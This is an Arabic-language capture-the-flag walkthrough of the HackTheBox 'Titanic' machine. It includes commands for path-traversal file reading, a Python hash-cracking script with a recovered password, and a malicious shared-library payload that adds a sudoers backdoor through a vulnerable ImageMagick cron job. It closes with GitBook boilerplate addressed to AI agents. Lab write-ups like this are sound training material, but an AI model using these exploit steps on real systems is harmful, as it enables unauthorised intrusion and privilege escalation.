> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/writeups-ctf/hackthebox/linux-easy/titanic-hackthebox-writeup.md). # شرح Titanic HackTheBox {% embed url="" %} {% hint style="warning" %} **المهارات:** * **تضمين الملفات المحلية (LFI)** * **استخراج قاعدة بيانات Gitea** * **ثغرة ImageMagick (تصعيد الامتيازات)** {% endhint %} ## الاستطلاع **إعداد مساحة العمل:** قم بإعداد مساحة العمل بإنشاء ثلاثة مجلدات لتخزين المحتوى المهم، والاستغلالات، ونتائج استطلاع Nmap.

**فحص اتصال VPN** تحقق من اتصال VPN لضمان تواصل مستقر مع الجهاز المستهدف.

**اكتشاف المنافذ المفتوحة باستخدام Nmap:** قم بحصر المنافذ المفتوحة وتصدير النتائج إلى الملف "allPorts" في دليل Nmap: ```bash nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.11.55 -oG allPorts ```

**تحليل المنافذ المفتوحة باستخدام extractPorts:** استخدم دالة extractPorts لعرض المنافذ المفتوحة بصيغة مختصرة ونسخها إلى الحافظة (22.80) ```bash nmap -sCV -p22,80 10.10.11.55 -oN targeted ```

ثم نضيف عنوان IP إلى `/etc/hosts` الملف:

### فحص المنفذ 80 (HTTP) ####

### فحص المنفذ 80 (HTTP) #### اكتشاف التقنية مع `wappalyzer`، نحدد أن الموقع يستخدم **Flask وPython**

## تضمين الملفات المحلية (LFI)

يوفر الموقع خيار طلب رحلة، والذي يعيد ملف JSON.

من خلال اعتراض الطلب باستخدام **Burp Suite**، نلاحظ `تنزيل` معلمة تتيح الوصول إلى الملفات:

```bash /download?ticket=9bff28d2-2f3a-4e5d-8879-576eb1dadf8b.json ``` نختبر تضمين ملف: ``` /download?ticket=/etc/passwd ```

مع `curl`: ``` curl -s --path-as-is http://titanic.htb/download?ticket=/etc/passwd ``` نسترجع مستخدمي النظام، بما في ذلك **developer**.

### استكشاف النطاقات الفرعية نبحث عن النطاقات الفرعية باستخدام **Gobuster**: ```bash gobuster vhost -u http://titanic.htb/ --append-domain -w /usr/share/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -t 100 -r ```

نكتشف **dev.titanic.htb**، والذي نضيفه إلى `/etc/hosts`.

## استغلال Gitea في **dev** النطاق الفرعي، نجد **Gitea** مثيل.

#### إنشاء مستخدم

نعثر على كلمة مرور مخزنة بالنص الصريح (قاعدة البيانات):

أثناء استكشاف قاعدة بيانات SQLite الخاصة بـ Gitea، نعثر على مسارها:

`/home/developer/gitea/data/gitea/gitea.db`

On s'y connecte : ```sql sqlite3 gitea.db .tables ```

ثم نستخرج تجزئات كلمات المرور: ```sql SELECT lower_name, passwd, salt FROM user; ```

### تخمين القوة الغاشمة للتجزئة مع الملح #### التجزئة: ``` e531d398946137baea70ed6a680a54385ecff131309c0bd8f225f284406b7cbc8efc5dbef30bf1682619263444ea594cfb56|8bf3e3452b78544f8bee9400d6936d34 ``` #### الملح: ``` b8dc26d526439f6f2f4523fa8ea522a2 ``` نستخدم سكربت بايثون لكسر التجزئة: ```python import hashlib import binascii def pbkdf2_hash(password, salt, iterations=50000, dklen=50): hash_value = hashlib.pbkdf2_hmac( 'sha256', password.encode('utf-8'), salt, iterations, dklen ) return hash_value def find_matching_password(dictionary_file, target_hash, salt, iterations=50000, dklen=50): target_hash_bytes = binascii.unhexlify(target_hash) with open(dictionary_file, 'r', encoding='utf-8') as file: count = 0 for line in file: password = line.strip() hash_value = pbkdf2_hash(password, salt, iterations, dklen) count += 1 print(f"العدد: {count}: {password}") if hash_value == target_hash_bytes: print(f"/nتم العثور على كلمة المرور: {password}") return password print("لم يتم العثور على كلمة المرور.") return None salt = binascii.unhexlify('8bf3e3452b78544f8bee9400d6936d34') target_hash = 'e531d398946137baea70ed6a680a54385ecff131309c0bd8f225f284406b7cbc8efc5dbef30bf1682619263444ea594cfb56' dictionary_file = '/usr/share/wordlists/rockyou.txt' find_matching_password(dictionary_file, target_hash, salt) ``` #### - كلمة المرور التي تم العثور عليها هي **25282528**.

On se connecte en SSH : ```bash ssh developer@ticanic.htb ```

### الراية user.txt :)

## تصعيد الامتيازات ### وظيفة Cron - استغلال ImageMagick في `/opt/`، نعثر على سكربت `script.sh` يتم تنفيذه تلقائيًا

```bash cd /opt/app/static/assets/images truncate -s 0 metadata.log find /opt/app/static/assets/images/ -type f -name "*.jpg" | xargs /usr/bin/magick identify >> metadata.log ``` > يبدأ هذا السكربت أولًا بالانتقال إلى `/opt/app/static/assets/images` المجلد، ثم يفرغ ملف `metadata.log` إذا كان موجودًا. ثم يبحث عن جميع `.jpg` الملفات في ذلك الدليل ويستخدم الأمر `identify` الخاصة بـ ImageMagick لاستخراج بياناتها الوصفية (الحجم، التنسيق، عمق الألوان، إلخ). ثم يتم حفظ هذه المعلومات في `metadata.log`. وبالتالي، يتيح لك هذا السكربت إنشاء ملف بيانات وصفية محدث لجميع صور JPG الموجودة في المجلد المحدد. يستخدم السكربت **ImageMagick**، وهي نسخة ضعيفة. ```bash magicks --version ```

### الاستغلال عبر `LD_PRELOAD` ننشىء `a.c` الملف: ```c #include #include #include #include void _init() { unsetenv("LD_PRELOAD"); setgid(0); setuid(0); system("echo 'developer ALL=(ALL) NOPASSWD:ALL' | sudo tee -a /etc/sudoers"); } ``` التجميع: ```bash gcc -fPIC -shared -o ./libxcb.so.1 a.c -nostartfiles ```

نضيفه إلى الدليل الذي تتم مراقبته والقابل للتنفيذ بواسطة `ImageMagick`. ثم ننفذ: ```bash su root ```

### العلم root.txt :)

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://hacking-notes.jord4n.pro/ar/writeups-ctf/hackthebox/linux-easy/titanic-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.